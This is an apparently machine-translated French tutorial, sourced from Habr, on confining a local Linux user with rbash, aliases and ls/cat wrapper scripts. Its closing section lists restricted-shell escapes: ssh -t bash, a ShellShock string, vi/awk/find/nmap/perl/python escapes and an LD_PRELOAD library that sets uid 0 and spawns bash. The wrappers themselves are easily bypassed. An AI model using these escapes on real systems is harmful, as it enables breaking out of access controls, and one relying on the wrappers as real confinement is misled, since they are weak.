Limiter au minimum les droits des utilisateurs locaux sur Linux

Clavarder Un jour, la tâche suivante est apparue: créer un utilisateur local sous Linux, avec un accès limité aux dossiers et fichiers, y compris non seulement l'édition, mais aussi la visualisation, ainsi que la possibilité d'utiliser uniquement les utilitaires autorisés. Seul un accès local est fourni, il n'y a pas d'accès au réseau.

Afin de ne pas réinventer la roue, la première chose que j'ai faite a été de commencer à creuser Internet, à la suite de quoi les options suivantes ont été trouvées:

  • restrictions d'accès via les services rĂ©seau ssh, sftp (ne correspondait pas)
  • diffĂ©renciation des droits d'accès par le système d'exploitation linux lui-mĂŞme (ne correspondait pas, je voudrais une solution universelle)
  • en utilisant chroot (ne correspondait pas)
  • l'utilisation d'utilitaires tiers, par exemple SELinux (ne convenait pas, complique le système).

À la suite de la recherche, un mécanisme intégré pour restreindre les capacités des utilisateurs dans le shell bash a été trouvé, il est appelé Shell restreint ou rbash .

Il met en œuvre les restrictions suivantes:

  • il n'y a aucun moyen de changer le rĂ©pertoire avec la commande cd
  • Vous ne pouvez pas rĂ©initialiser ou modifier les valeurs des variables SHELL, PATH, ENV, BASH_ENV
  • il est interdit de spĂ©cifier des commandes contenant / (barre oblique)
  • il est interdit d'importer des fonctions depuis le shell principal
  • il est interdit de rediriger la sortie en utilisant les opĂ©rateurs>, <, |, <>,> &, &>, >>
  • il est interdit d'utiliser la commande exec pour remplacer la commande, etc.

Il y a un inconvénient, c'est la sécurité, il est donc impératif d'ajouter un alias aux commandes dans le fichier de comportement du shell .bashrc (les informations seront plus loin).

Bien sûr, rbash est prêt à l'emploi, il ne résout pas tous les problèmes, par conséquent, à titre d'exemple, nous envisageons de créer un utilisateur et de configurer son environnement pour une solution complète à notre problème.

De plus, toutes les opérations sont effectuées à partir du superutilisateur (root).

1. Créez un shell limité

echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash 

2. Créez un utilisateur

 adduser --home /home/zuser --shell /bin/zbash zuser 

3. Modifier les autorisations du répertoire

 chown root.zuser /home/zuser chmod 750 /home/zuser 

4. Allez dans le répertoire et nettoyez-le

 cd ~zuser ls -a rm .bash* rm .profile ls -a 

5. Personnalisez le shell et les droits

 echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc # alias   help echo "bind 'set disable-completion on'" >> .bashrc #    tab mkdir -p bin chmod 750 bin chown -R root.zuser /home/zuser chmod 640 .bash* 

Le fichier .bashrc définit le comportement du shell; un alias pour les commandes ou des options supplémentaires peut être ajouté à ce fichier.

Pour garantir la sécurité, exécutez les commandes suivantes:

 echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc 

La liste continue ...

6. Vérifiez le travail

 root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls:    zuser@host: /bin/ls bash: /bin/ls:         {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH:     zuser@host: exit 

7. Ajoutez des commandes valides

 ln -s /bin/ping /home/zuser/bin/ping 

Il est important de noter que les chemins de la commande ln doivent être entièrement spécifiés.

8. Vous pouvez utiliser des wrappers pour limiter les options de la commande.

 mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info 

9. Vous pouvez également créer un wrapper pour travailler avec des fichiers et des dossiers.
avec une liste noire (tout autoriser sauf):
- créer un fichier

 nano /var/scripts/ls 

- contenu du fichier

 blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $* 

liste noire - une variable contenant une liste noire de répertoires ou de fichiers (séparés par des espaces)
- ajouter une commande pour l'utilisateur zuser

 chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls 

Ce script vous permet d'exécuter la commande ls avec toutes les clés des répertoires et fichiers qui ne correspondent pas à la liste noire

avec une liste blanche (interdire tout sauf):
- créer un fichier

 nano /var/scripts/cat 

- contenu du fichier

 whitelist="./ /tmp/" #   for var in $whitelist do if [[ $* == *$var* ]]; then /bin/cat $* #   cat    exit fi done echo 'Access is denied:' $* 

liste blanche - une variable contenant une liste blanche de répertoires ou de fichiers (séparés par des espaces)
- ajouter une commande pour l'utilisateur zuser

 chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat 

Ce script vous permet d'exécuter la commande cat avec les fichiers spécifiés dans la liste blanche.

Terminé , nous avons finalement obtenu le résultat suivant:

  • nous avons créé un utilisateur zuser avec shell rbash
  • dĂ©sactivĂ© la possibilitĂ© d'utiliser l'auto-complĂ©tion dans la console
  • zuser ne peut exĂ©cuter les utilitaires qu'Ă  partir du rĂ©pertoire / home / zuser / bin
  • a ajoutĂ© la commande ping Ă  zuser
  • a ajoutĂ© la commande user-info Ă  l'utilisateur zuser
  • zuser a Ă©tĂ© restreint via le wrapper pour exĂ©cuter les commandes ls et cat


Cette méthode ne garantit malheureusement pas une sécurité à 100%, et avec certaines connaissances et qualifications, l'utilisateur peut quitter ce shell. Merci à Jouretz arheops YaDr dans les commentaires, ils ont fourni des exemples de contournement des restrictions de shell.

Les vulnérabilités suivantes existent dans cette solution (Shell Escape), qui doivent être prises en compte:
CHEMINPossibilité de changer la variable PATH
Copier des fichiers par scpPossibilité de télécharger votre script
Lors de la connexion via ssh, vous pouvez changer le shell
 ssh zuser@xxxx -t "/bin/bash" 
Lors de la connexion via ssh, vous pouvez modifier le fichier de configuration du shell
 ssh zuser@xxxx -t "bash --noprofile" 
Lors de la connexion via ssh, vous pouvez utiliser ShellShock
 ssh zuser@xxxx -t "() { :; }; /bin/bash" 
Via les utilitaires vi, vim
 :!bash 
Via les utilitaires vi, vim
 :set shell=/bin/bash :shell 
Grâce aux services publics, l'homme, plus, moins
 !bash 
Grâce à l'utilitaire de recherche
 find . -maxdepth 0 -execdir /bin/bash \; 
Via l'utilitaire awk
 awk 'BEGIN {system("/bin/bash")}' 
Via l'utilitaire nmap
 nmap --interactive 
Via l'utilitaire nmap
 echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse 
Grâce à perl
 perl -e 'exec "/bin/bash";' 
Via python
 python -c 'import pty; pty.spawn("/bin/bash")' 
Via ruby
 ruby: exec "/bin/bash" 
Via LD_PRELOADCréez le fichier evil.c:
 #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } 

Nous compilons:
 gcc -fPIC -shared -o evil.so evil.c -nostartfiles 

Nous transférons le fichier evil.so résultant sur la machine avec la console fermée et exécutons:
 LD_PRELOAD=$PWD/evil.so ls 

Comme argument, toute commande disponible

En raison de la présence d'un nombre suffisamment important de vulnérabilités, cette méthode ne peut être utilisée que pour un utilisateur local sur des systèmes non critiques; pour l'accès sur un réseau via ssh, il est préférable d'utiliser chroot ou d'autres utilitaires pour restreindre les capacités des utilisateurs.

J'espère que ces informations vous seront utiles.

Source: https://habr.com/ru/post/fr437710/


All Articles